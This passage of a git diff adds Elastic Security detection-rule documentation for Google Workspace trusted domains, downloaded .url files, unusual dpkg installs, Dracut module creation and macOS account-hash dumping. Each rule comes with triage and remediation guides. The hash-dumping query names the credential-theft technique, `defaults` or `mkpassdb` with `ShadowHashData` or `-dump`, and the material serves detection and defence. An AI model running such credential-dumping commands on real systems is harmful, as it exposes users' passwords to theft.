domain in order to collect and exfiltrate data from their target’s organization with less restrictive security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6160020?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Domain Added to Google Workspace Trusted Domains* + + +Organizations use trusted domains in Google Workspace to give external users access to resources. + +A threat actor with administrative privileges may be able to add a malicious domain to the trusted domain list. Based on the configuration, potentially sensitive resources may be exposed or accessible by an unintended third-party. + +This rule detects when a third-party domain is added to the list of trusted domains in Google Workspace. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- After identifying the user, verify if the user should have administrative privileges to add external domains. +- Check the `google_workspace.admin.domain.name` field to find the newly added domain. +- Use reputational services, such as VirusTotal, for the trusted domain's third-party intelligence reputation. +- Filter your data. Create a filter where `event.dataset` is `google_workspace.drive` and `google_workspace.drive.file.owner.email` is being compared to `user.email`. + - If mismatches are identified, this could indicate access from an external Google Workspace domain. + + +*False positive analysis* + + +- Verify that the user account should have administrative privileges that allow them to edit trusted domains in Google Workspace. +- Talk to the user to evaluate why they added the third-party domain and if the domain has confidentiality risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:ADD_TRUSTED_DOMAINS + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-downloaded-url-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-downloaded-url-files.asciidoc new file mode 100644 index 0000000000..687c2a7a0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-downloaded-url-files.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-downloaded-url-files]] +=== Downloaded URL Files + +Identifies .url shortcut files downloaded from outside the local network. These shortcut files are commonly used in phishing campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Downloaded URL Files* + + +URL shortcut files, typically used for quick access to web resources, can be exploited by attackers in phishing schemes to execute malicious content. These files, when downloaded from non-local sources, may bypass traditional security measures. The detection rule identifies such files by monitoring their creation events on Windows systems, focusing on those not initiated by standard processes like Explorer, and flags them based on their network origin, aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the file creation event details to confirm the file extension is ".url" and verify the zone identifier is greater than 1, indicating a non-local source. +- Investigate the process that created the .url file, ensuring it was not initiated by "explorer.exe" and identify the actual process responsible for the creation. +- Check the network origin of the downloaded .url file to determine if it is from a known malicious domain or IP address. +- Analyze the contents of the .url file to identify the target URL and assess its reputation and potential risk. +- Correlate the event with other security alerts or logs from the same host to identify any additional suspicious activities or patterns. +- Contact the user associated with the alert to verify if they intentionally downloaded the file and gather any additional context regarding their actions. + + +*False positive analysis* + + +- Corporate applications that generate .url files for legitimate purposes may trigger alerts. Identify these applications and create exceptions for their processes to prevent unnecessary alerts. +- Automated scripts or system management tools that download .url files as part of routine operations can be mistaken for threats. Review these tools and whitelist their activities if they are verified as safe. +- User-initiated downloads from trusted internal web portals might be flagged. Educate users on safe downloading practices and consider excluding specific trusted domains from monitoring. +- Security software updates or patches that include .url files could be misidentified. Verify the source of these updates and adjust the rule to exclude known safe update processes. +- Collaboration platforms that share .url files for internal use may cause false positives. Evaluate the platform's behavior and exclude its processes if they are deemed secure. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of any potential malicious activity. +- Terminate any suspicious processes that are not initiated by standard processes like Explorer, especially those related to the creation of .url files. +- Delete the identified .url files from the system to remove the immediate threat. +- Conduct a full antivirus and anti-malware scan on the affected system to identify and remove any additional threats. +- Review and analyze the network logs to identify any other systems that may have downloaded similar .url files and apply the same containment measures. +- Escalate the incident to the security operations team for further investigation and to determine if there is a broader campaign targeting the organization. +- Update security policies and endpoint protection configurations to block the download and execution of .url files from untrusted sources in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and file.extension == "url" + and file.Ext.windows.zone_identifier == 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dpkg-package-installed-by-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dpkg-package-installed-by-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..828ff4f623 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dpkg-package-installed-by-unusual-parent-process.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-dpkg-package-installed-by-unusual-parent-process]] +=== DPKG Package Installed by Unusual Parent Process + +This rule detects the installation of a Debian package (dpkg) by an unusual parent process. The dpkg command is used to install, remove, and manage Debian packages on a Linux system. Attackers can abuse the dpkg command to install malicious packages on a system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.makeuseof.com/how-deb-packages-are-backdoored-how-to-detect-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DPKG Package Installed by Unusual Parent Process* + + +DPKG is a core utility for managing Debian packages on Linux systems, crucial for software installation and maintenance. Adversaries may exploit DPKG to install malicious packages, leveraging unusual parent processes to evade detection. The detection rule identifies such anomalies by monitoring DPKG executions initiated by atypical parent processes, signaling potential unauthorized package installations. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process of the dpkg execution. Determine if the parent process is legitimate or unusual for package installations. +- Examine the command-line arguments used with the dpkg command, specifically looking for the "-i" or "--install" flags, to understand what package was being installed. +- Check the source and integrity of the package being installed to ensure it is from a trusted repository or source. +- Investigate the user account under which the dpkg command was executed to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts around the same timeframe to identify any related suspicious activities or patterns. +- Assess the system for any signs of compromise or unauthorized changes following the package installation. + + +*False positive analysis* + + +- System updates or maintenance scripts may trigger the rule when legitimate administrative tools or scripts use dpkg to install updates. To handle this, identify and whitelist known maintenance scripts or processes that regularly perform package installations. +- Automated deployment tools like Ansible or Puppet might use dpkg for software deployment, leading to false positives. Exclude these tools by adding their process names to an exception list if they are part of your standard operations. +- Custom internal applications or scripts that manage software installations could also cause alerts. Review these applications and, if verified as safe, configure exceptions for their parent processes. +- Developers or system administrators using dpkg for testing or development purposes might inadvertently trigger the rule. Establish a policy for such activities and exclude known development environments or user accounts from triggering alerts. +- Backup or recovery operations that reinstall packages as part of their process can be mistaken for malicious activity. Identify these operations and exclude their associated processes from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized package installations or lateral movement by the adversary. +- Terminate the dpkg process if it is still running to stop any ongoing malicious package installation. +- Identify and remove any suspicious or unauthorized packages installed by the dpkg command using the package management tools available on the system. +- Conduct a thorough review of the system's package installation logs and history to identify any other potentially malicious packages or unusual installation activities. +- Restore the system from a known good backup if malicious packages have altered critical system components or configurations. +- Implement stricter access controls and monitoring on systems to prevent unauthorized use of package management utilities by non-administrative users or processes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected, ensuring a coordinated response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and process.name:dpkg and +process.args:("-i" or "--install") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dracut-module-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dracut-module-creation.asciidoc new file mode 100644 index 0000000000..fffb66f732 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dracut-module-creation.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-dracut-module-creation]] +=== Dracut Module Creation + +This rule detects the creation of Dracut module files on Linux systems. Dracut is a tool used to generate an initramfs image that is used to boot the system. Dracut modules are scripts that are executed during the initramfs image generation process. Attackers may create malicious Dracut modules to execute arbitrary code at boot time, which can be leveraged to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dracut Module Creation* + + +Dracut is a utility for generating initramfs images, crucial for booting Linux systems. It uses modules, which are scripts executed during image creation. Adversaries may exploit this by crafting malicious modules to execute code at boot, ensuring persistence. The detection rule identifies unauthorized module creation by monitoring file paths and excluding known legitimate processes, helping to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path of the created Dracut module to determine if it matches known legitimate paths or if it appears suspicious, focusing on paths like "/lib/dracut/modules.d/*" and "/usr/lib/dracut/modules.d/*". +- Identify the process that created the Dracut module by examining the process.executable field, and verify if it is listed in the known legitimate processes or if it is an unexpected process. +- Check the file extension of the created module to ensure it is not one of the excluded extensions such as "swp", "swpx", "swx", or "dpkg-remove". +- Investigate the history and behavior of the process that created the module, including its parent process and any associated network activity, to assess if it has been involved in other suspicious activities. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that might suggest malicious activity. +- Consult threat intelligence sources to determine if there are any known threats or campaigns associated with the process or file path involved in the alert. + + +*False positive analysis* + + +- Package managers like dpkg, rpm, and yum may trigger false positives when they update or install packages. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can create or modify Dracut modules as part of their configuration management tasks. Add these tools to the exclusion list to prevent false alerts. +- System updates or maintenance scripts that run as part of regular system operations might be flagged. Review these scripts and add their executables to the exclusion list if they are verified as non-threatening. +- Custom scripts or applications that interact with Dracut modules for legitimate purposes should be reviewed and, if deemed safe, added to the exclusion list to avoid unnecessary alerts. +- Temporary files or backup files with extensions like swp or dpkg-remove may be mistakenly flagged. Ensure these extensions are included in the exclusion criteria to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Conduct a thorough review of the Dracut module files located in the specified directories (/lib/dracut/modules.d/*, /usr/lib/dracut/modules.d/*) to identify and remove any unauthorized or suspicious modules. +- Restore the system from a known good backup if malicious Dracut modules are confirmed, ensuring that the backup predates the unauthorized changes. +- Implement additional monitoring on the affected system to detect any further unauthorized Dracut module creation or other suspicious activities. +- Review and tighten access controls and permissions for the directories and processes involved in Dracut module creation to prevent unauthorized modifications. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Update and enhance detection capabilities to include alerts for any future unauthorized Dracut module creation attempts, leveraging the specific indicators identified in this incident. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like~ ("/lib/dracut/modules.d/*", "/usr/lib/dracut/modules.d/*") and not ( + // Too many FPs from Python automation + process.name like ("python*", "platform-python*") or + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "/usr/libexec/packagekitd", + "./usr/bin/podman", "/usr/lib/dracut/dracut-install", "/usr/bin/dnf5", "/kaniko/executor", "/usr/bin/buildah", + "/usr/sbin/yum-cron" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/var/lib/docker/overlay2/*/dockerd" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dumping-account-hashes-via-built-in-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dumping-account-hashes-via-built-in-commands.asciidoc new file mode 100644 index 0000000000..1cad9ffdaf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dumping-account-hashes-via-built-in-commands.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-dumping-account-hashes-via-built-in-commands]] +=== Dumping Account Hashes via Built-In Commands + +Identifies the execution of macOS built-in commands used to dump user account hashes. Adversaries may attempt to dump credentials to obtain account login information in the form of a hash. These hashes can be cracked or leveraged for lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored +* https://www.unix.com/man-page/osx/8/mkpassdb/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dumping Account Hashes via Built-In Commands* + + +In macOS environments, built-in commands like `defaults` and `mkpassdb` can be exploited by adversaries to extract user account hashes, which are crucial for credential access. These hashes, once obtained, can be cracked to reveal passwords or used for lateral movement within a network. The detection rule identifies suspicious process executions involving these commands and specific arguments, signaling potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `defaults` or `mkpassdb` commands with arguments like `ShadowHashData` or `-dump`, as these are indicative of credential dumping attempts. +- Identify the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it appears suspicious. +- Check the historical activity of the involved user account and the host to identify any patterns or anomalies that could suggest unauthorized access or lateral movement. +- Investigate any network connections or subsequent processes initiated by the suspicious process to assess potential data exfiltration or further malicious actions. +- Correlate the event with other security alerts or logs from the same host or user account to build a comprehensive timeline of the activity and assess the scope of the potential compromise. + + +*False positive analysis* + + +- System administrators or security tools may legitimately use the `defaults` or `mkpassdb` commands for system maintenance or auditing purposes. To manage these, create exceptions for known administrative accounts or tools that regularly execute these commands. +- Automated scripts or management software might invoke these commands as part of routine operations. Identify and whitelist these scripts or software to prevent unnecessary alerts. +- Developers or IT personnel might use these commands during testing or development phases. Establish a process to temporarily exclude these activities by setting up time-bound exceptions for specific user accounts or devices. +- Security assessments or penetration tests could trigger this rule. Coordinate with security teams to schedule and document these activities, allowing for temporary rule adjustments during the testing period. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes identified as using the `defaults` or `mkpassdb` commands with the specified arguments to halt ongoing credential dumping activities. +- Conduct a thorough review of user accounts on the affected system to identify any unauthorized access or changes, focusing on accounts with elevated privileges. +- Reset passwords for all potentially compromised accounts, especially those with administrative access, and enforce strong password policies. +- Analyze system logs and network traffic to identify any additional systems that may have been accessed using the compromised credentials, and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement enhanced monitoring and alerting for similar suspicious activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name in ("defaults", "mkpassdb") and process.args like~ ("ShadowHashData", "-dump") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and 